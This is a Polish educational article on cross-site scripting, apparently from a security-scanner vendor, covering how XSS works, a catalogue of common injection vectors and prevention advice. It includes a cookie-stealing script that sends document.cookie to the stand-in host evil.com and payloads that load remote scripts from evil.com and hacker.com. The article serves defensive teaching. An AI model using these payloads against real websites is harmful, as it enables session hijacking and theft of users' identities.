Cross-site Scripting (XSS) jest atakiem polegającym na wstrzykiwaniu kodu po stronie klienta. Celem atakującego jest wykonanie złośliwych skryptów w przeglądarce internetowej ofiary poprzez umieszczenie złośliwego kodu na legalnej stronie lub w aplikacji internetowej. Faktyczny atak następuje, gdy ofiara odwiedza stronę lub aplikację, na której wykonywany jest złośliwy kod. Strona lub aplikacja internetowa staje się nośnikiem, który dostarcza złośliwy skrypt do przeglądarki użytkownika. Podatne na ataki Cross-site Scripting są fora, tablice ogłoszeń i strony internetowe, które pozwalają na komentowanie.

Strona lub aplikacja internetowa jest podatna na XSS, jeśli w generowanych przez siebie danych wyjściowych wykorzystuje niezanitalizowane dane wejściowe użytkownika. Dane te muszą być następnie przetworzone przez przeglądarkę ofiary. Ataki XSS są możliwe w VBScript, ActiveX, Flash, a nawet CSS. Jednakże, najczęściej występują w JavaScript, głównie dlatego, że JavaScript jest podstawą większości przeglądarek internetowych.

„Czy Cross-site Scripting nie jest problemem użytkownika?”

Jeśli atakujący może wykorzystać lukę XSS na stronie internetowej do wykonania dowolnego skryptu JavaScript w przeglądarce użytkownika, bezpieczeństwo tej podatnej strony lub podatnej aplikacji internetowej i jej użytkowników zostało naruszone. XSS nie jest problemem użytkownika, jak każda inna luka w zabezpieczeniach. Jeśli wpływa na użytkowników, wpływa również na Ciebie.

Cross-site Scripting może być również wykorzystany do zniszczenia witryny, a nie do atakowania użytkownika. Atakujący może użyć wstrzykniętych skryptów do zmiany zawartości strony lub nawet przekierować przeglądarkę na inną stronę, na przykład taką, która zawiera złośliwy kod.

Co atakujący może zrobić z JavaScriptem?

Podatności XSS są postrzegane jako mniej niebezpieczne niż na przykład podatności SQL Injection. Konsekwencje wynikające z możliwości wykonywania JavaScript na stronie internetowej mogą nie wydawać się na początku tragiczne. Większość przeglądarek internetowych uruchamia JavaScript w bardzo ściśle kontrolowanym środowisku. JavaScript ma ograniczony dostęp do systemu operacyjnego użytkownika oraz jego plików. Jednakże, JavaScript wciąż może być niebezpieczny, jeśli zostanie niewłaściwie wykorzystany jako część złośliwej zawartości:

• Złośliwy JavaScript ma dostęp do wszystkich obiektów, do których ma dostęp reszta strony internetowej. Obejmuje to dostęp do ciasteczek użytkownika. Ciasteczka są często używane do przechowywania tokenów sesji. Jeśli atakujący może uzyskać ciasteczko sesji użytkownika, może podszyć się pod niego, wykonać działania w jego imieniu i uzyskać dostęp do wrażliwych danych użytkownika.
• JavaScript może czytać DOM przeglądarki i dokonywać w nim dowolnych modyfikacji. Na szczęście, jest to możliwe tylko w obrębie strony, na której uruchomiony jest JavaScript.
• JavaScript może używać obiektu XMLHttpRequest do wysyłania żądań HTTP z dowolną zawartością do dowolnych miejsc docelowych.
• JavaScript w nowoczesnych przeglądarkach może używać API HTML5. Na przykład, może uzyskać dostęp do geolokalizacji użytkownika, kamery internetowej, mikrofonu, a nawet określonych plików z systemu plików użytkownika. Większość z tych API wymaga zgody użytkownika, ale atakujący może użyć socjotechniki, aby obejść to ograniczenie.

Powyższe, w połączeniu z socjotechniką, pozwalają przestępcom na przeprowadzanie zaawansowanych ataków, takich jak kradzież ciasteczek, instalowanie trojanów, keylogging, phishing i kradzież tożsamości. Luki XSS stanowią doskonałe podłoże do eskalacji ataków na poważniejsze. Cross-site Scripting może być również wykorzystywany w połączeniu z innymi typami ataków, na przykład Cross-Site Request Forgery (CSRF).

Istnieje kilka typów ataków Cross-site Scripting: stored/persistent XSS, reflected/non-persistent XSS oraz DOM-based XSS. Więcej na ich temat można przeczytać w artykule zatytułowanym Rodzaje XSS.

Jak działa Cross-site Scripting

W typowym ataku XSS można wyróżnić dwa etapy:

1. Aby uruchomić złośliwy kod JavaScript w przeglądarce ofiary, atakujący musi najpierw znaleźć sposób na wstrzyknięcie złośliwego kodu (payload) do strony internetowej, którą odwiedza ofiara.
2. Następnie, ofiara musi odwiedzić stronę internetową ze złośliwym kodem. Jeżeli atak jest skierowany na konkretną ofiarę, atakujący może wykorzystać socjotechnikę i/lub phishing, aby wysłać złośliwy adres URL do ofiary.

Aby krok pierwszy był możliwy, podatna strona musi bezpośrednio zawierać dane wejściowe użytkownika na swoich stronach. Napastnik może wtedy wstawić złośliwy ciąg znaków, który zostanie wykorzystany na stronie i potraktowany przez przeglądarkę ofiary jako kod źródłowy. Istnieją również warianty ataków XSS, w których napastnik zwabia użytkownika do odwiedzenia adresu URL za pomocą socjotechniki, a ładunek jest częścią linku, który użytkownik kliknie.

Poniżej znajduje się fragment pseudokodu po stronie serwera, który jest używany do wyświetlania najnowszego komentarza na stronie WWW:

print "<html>"print "<h1>Most recent comment</h1>"print database.latestCommentprint "</html>"

Powyższy skrypt po prostu pobiera najnowszy komentarz z bazy danych i umieszcza go na stronie HTML. Zakłada on, że wydrukowany komentarz składa się tylko z tekstu i nie zawiera żadnych znaczników HTML ani innego kodu. Jest on podatny na XSS, ponieważ atakujący może przesłać komentarz zawierający złośliwy ładunek, na przykład:

<script>doSomethingEvil();</script>

Serwer WWW udostępnia użytkownikom odwiedzającym tę stronę następujący kod HTML:

<html><h1>Most recent comment</h1><script>doSomethingEvil();</script></html>

Gdy strona ładuje się w przeglądarce ofiary, wykonywany jest złośliwy skrypt atakującego. Najczęściej ofiara nie zdaje sobie z tego sprawy i nie jest w stanie zapobiec takiemu atakowi.

Stealing Cookies Using XSS

Przestępcy często wykorzystują XSS do kradzieży ciasteczek. Pozwala im to na podszywanie się pod ofiarę. Napastnik może wysłać ciasteczko na swój własny serwer na wiele sposobów. Jednym z nich jest wykonanie następującego skryptu po stronie klienta w przeglądarce ofiary:

<script>window.location="http://evil.com/?cookie=" + document.cookie</script>

Niżej przedstawiony rysunek ilustruje krok po kroku prosty atak XSS.

1. Atakujący wstrzykuje ładunek do bazy danych witryny poprzez przesłanie podatnego formularza ze złośliwą zawartością JavaScript.
2. Ofiara żąda strony internetowej od serwera WWW.
3. Serwer WWW serwuje przeglądarce ofiary stronę z ładunkiem atakującego jako częścią ciała HTML.
4. Przeglądarka ofiary wykonuje złośliwy skrypt zawarty w ciele HTML. W tym przypadku wysyła ciasteczko ofiary na serwer atakującego.
5. Atakujący musi teraz po prostu wydobyć ciasteczko ofiary, gdy żądanie HTTP dotrze do serwera.
6. Atakujący może teraz wykorzystać skradzione ciasteczko ofiary do podszywania się pod nią.

Aby dowiedzieć się więcej o tym, jak przeprowadzane są ataki XSS, możesz zapoznać się z artykułem A comprehensive tutorial on cross-site scripting.

Wektory ataku cross-site scripting

Poniżej znajduje się lista popularnych wektorów ataku XSS, które napastnik może wykorzystać do naruszenia bezpieczeństwa witryny lub aplikacji internetowej poprzez atak XSS. Bardziej obszerna lista przykładów ładunków XSS jest utrzymywana przez organizację OWASP: XSS Filter Evasion Cheat Sheet.

<script> tag

Tag <script> tag jest najprostszym payloadem XSS. Znacznik script może odwoływać się do zewnętrznego kodu JavaScript lub można osadzić kod wewnątrz samego znacznika script.

<!-- External script --><script src=http://evil.com/xss.js></script><!-- Embedded script --><script> alert("XSS"); </script>

Zdarzenia JavaScript

Atrybuty zdarzeń JavaScript, takie jak onload i onerror mogą być używane w wielu różnych znacznikach. Jest to bardzo popularny wektor ataku XSS.

<!-- onload attribute in the <body> tag --><body onload=alert("XSS")>

<body> tag

Ładunek XSS może być dostarczony wewnątrz znacznika <body> za pomocą atrybutów zdarzeń (patrz wyżej) lub innych bardziej niejasnych atrybutów, takich jak atrybut background.

<!-- background attribute --><body background="javascript:alert("XSS")">

<img> tag

Niektóre przeglądarki wykonują JavaScript znaleziony w atrybutach <img>.

<!-- <img> tag XSS --><img src="javascript:alert("XSS");"><!-- tag XSS using lesser-known attributes --><img dynsrc="javascript:alert('XSS')"><img lowsrc="javascript:alert('XSS')">

<iframe> tag

Tag <iframe> pozwala osadzić inną stronę HTML na bieżącej stronie. Ramka IFrame może zawierać JavaScript, ale JavaScript w IFrame nie ma dostępu do DOM strony nadrzędnej ze względu na politykę bezpieczeństwa treści (CSP) przeglądarki. Mimo to, ramki IFrame są nadal bardzo skuteczne do przeprowadzania ataków phishingowych.

<!-- <iframe> tag XSS --><iframe src="http://evil.com/xss.html">

<input> tag

W niektórych przeglądarkach, jeśli atrybut type znacznika <input> jest ustawiony na image, można nim manipulować w celu osadzenia skryptu.

<!-- <input> tag XSS --><input type="image" src="javascript:alert('XSS');">

<link> tag

Znacznik <link> tag, który często jest używany do łączenia się z zewnętrznymi arkuszami stylów, może zawierać skrypt.

<!-- <link> tag XSS --><link rel="stylesheet" href="javascript:alert('XSS');">

<table> tag

Atrybut „background w znacznikach <table> i <td> może zostać wykorzystany do odwołania się do skryptu zamiast do obrazu.

<!-- <table> tag XSS --><table background="javascript:alert('XSS')"><!-- <td> tag XSS --><td background="javascript:alert('XSS')">

<iv> tag

Znacznik <div>, podobnie jak znaczniki <table> i <td>, może również określać tło, a tym samym osadzać skrypt.

<!-- <div> tag XSS --><div style="background-image: url(javascript:alert('XSS'))"><!-- <div> tag XSS --><div style="width: expression(alert('XSS'));">

<object> tag

Znacznika <object> tag można użyć do osadzenia skryptu z zewnętrznej strony.

<!-- <object> tag XSS --><object type="text/x-scriptlet" data="http://hacker.com/xss.html">

Is Your Website or Web Application Vulnerable to Cross-site Scripting

Bezpieczeństwa związane z cross-site scriptingiem są jednymi z najczęstszych podatności aplikacji internetowych. Organizacja OWASP (Open Web Application Security Project) wymienia podatności XSS w swoim dokumencie OWASP Top 10 2017 jako drugi najczęściej występujący problem.

Na szczęście, łatwo jest sprawdzić, czy Twoja witryna lub aplikacja internetowa jest podatna na XSS i inne podatności, uruchamiając automatyczne skanowanie sieci za pomocą skanera podatności Acunetix, który zawiera wyspecjalizowany moduł skanowania XSS. Skorzystaj z demo i dowiedz się więcej na temat skanowania XSS Twojej witryny lub aplikacji internetowej. Przykład wykrywania ślepych luk XSS za pomocą Acunetix jest dostępny w poniższym artykule: How to Detect Blind XSS Vulnerabilities.

How to Prevent XSS

Aby zabezpieczyć się przed XSS, musisz oczyszczać dane wejściowe. Kod Twojej aplikacji nie powinien nigdy wysyłać danych otrzymanych jako dane wejściowe bezpośrednio do przeglądarki bez sprawdzenia ich pod kątem obecności złośliwego kodu.

Więcej szczegółów znajdziesz w następujących artykułach: Zapobieganie atakom XSS oraz Jak zapobiegać DOM-based Cross-site Scripting. Przydatne informacje można również znaleźć w arkuszu XSS Prevention Cheat Sheet prowadzonym przez organizację OWASP.